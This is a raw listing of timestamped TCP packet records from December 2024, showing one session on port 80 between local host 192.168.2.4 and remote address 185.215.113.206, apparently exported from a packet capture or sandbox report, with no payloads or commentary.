Dec 9, 2024 20:27:35.027236938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.027287006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.027431965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.027483940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.028238058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.028306007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.028384924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.168941975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.168992043 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.169066906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.169111013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.169327021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.169461012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.169487953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.169501066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.170418024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.170469046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.170515060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.170564890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.171377897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.171430111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.171802044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.171854019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.171902895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.171956062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.172698021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.172755003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.172756910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.172800064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.173753023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.173820019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.173893929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.173954010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.174994946 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.175051928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.175154924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.175206900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.176117897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.176175117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.176202059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.176253080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.177212954 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.177273989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.177310944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.177375078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.178333044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.178395033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.178397894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.178436995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.179394960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.179476976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.179521084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.179615021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.180267096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.180324078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.180443048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.180491924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.181400061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.181416988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.181453943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.181467056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.182106972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.182157993 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.182234049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.182281971 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.182940006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.182990074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.182997942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.183048010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.183861017 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.183890104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.183914900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.183937073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.184643984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.184698105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.184741974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.184788942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.185664892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.185745001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.185782909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.185833931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.186649084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.186709881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.186712027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.186753988 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.187747002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.187773943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.187814951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.187829971 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.188647985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.188719034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.188756943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.188803911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.189646959 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.189697981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.189749002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.189821005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.190659046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.190712929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.190891027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.190944910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.191620111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.191672087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.191715956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.191762924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.192677021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.192738056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.192766905 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.192786932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.193624020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.193706989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.193736076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.193854094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.194653988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.194710016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.194746971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.194809914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.195596933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.195653915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.195693970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.195743084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.196616888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.196669102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.196682930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.196729898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.197685003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.197701931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.197736979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.197752953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.198695898 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.198753119 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.198787928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.198834896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.199742079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.199796915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.199829102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.199878931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.200642109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.200696945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.200779915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.200833082 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.201677084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.201731920 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.201764107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.201842070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.202733040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.202791929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.202832937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.202907085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.203841925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.203938007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.203974009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.204016924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.204757929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.204893112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.204967022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.205019951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.205671072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.205724001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.205741882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.205786943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.206598997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.206662893 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.206739902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.206792116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.207621098 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.207679033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.207709074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.207762003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.208633900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.208652020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.208687067 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.208708048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.209561110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.209616899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.209645987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.209696054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.210576057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.210635900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.210748911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.210809946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.211575985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.211633921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.211713076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.211757898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.212568045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.212625980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.212697029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.212747097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.213563919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.213622093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.213656902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.213707924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.214561939 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.214617014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.214695930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.214786053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.215578079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.215637922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.215717077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.215771914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.216578007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.216629982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.216701031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.216747999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.217628002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.217685938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.217724085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.217775106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.218559980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.218611956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.218614101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.218677998 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.219564915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.219626904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.219758034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.219810963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.220557928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.220654011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.220761061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.220813036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.363893032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.363915920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.363931894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.363989115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.364025116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.375329971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.375478983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.490412951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.490437984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.490556002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.501777887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.501801014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.501900911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.615447044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615468979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615484953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615493059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615504980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615516901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615547895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615561008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615850925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.615875959 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615889072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615900993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615914106 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615926027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.615942955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.615972042 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.615998030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.616040945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.616148949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.616161108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.616190910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.616204977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.616857052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617038012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617049932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617062092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617073059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617084026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617089987 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.617130041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.617201090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617234945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617244005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.617275000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.617906094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617918015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617928982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617942095 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617957115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617959976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.617970943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617984056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.617990017 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.618010044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.618024111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.618824005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.618839979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.618851900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.618882895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.618896961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.618984938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.618997097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619009018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619021893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619034052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.619035006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619051933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.619083881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.619724989 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619739056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619786978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.619893074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619906902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619919062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.619940042 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.619971037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.620043993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620055914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620099068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.620771885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620784998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620795012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620806932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620820045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.620820045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620832920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620843887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620846033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.620858908 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.620871067 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.620899916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.621653080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.621665955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.621676922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.621690035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.621701002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.621728897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.621763945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.621788979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.621803045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.621848106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.622513056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.622525930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.622535944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.622565985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.622581005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.622663975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.622675896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.622685909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.622698069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.622709036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.622715950 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.622750998 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:35.623420000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.623434067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:35.623450041 CET	80	49740	185.215.113.206	192.168.2.4
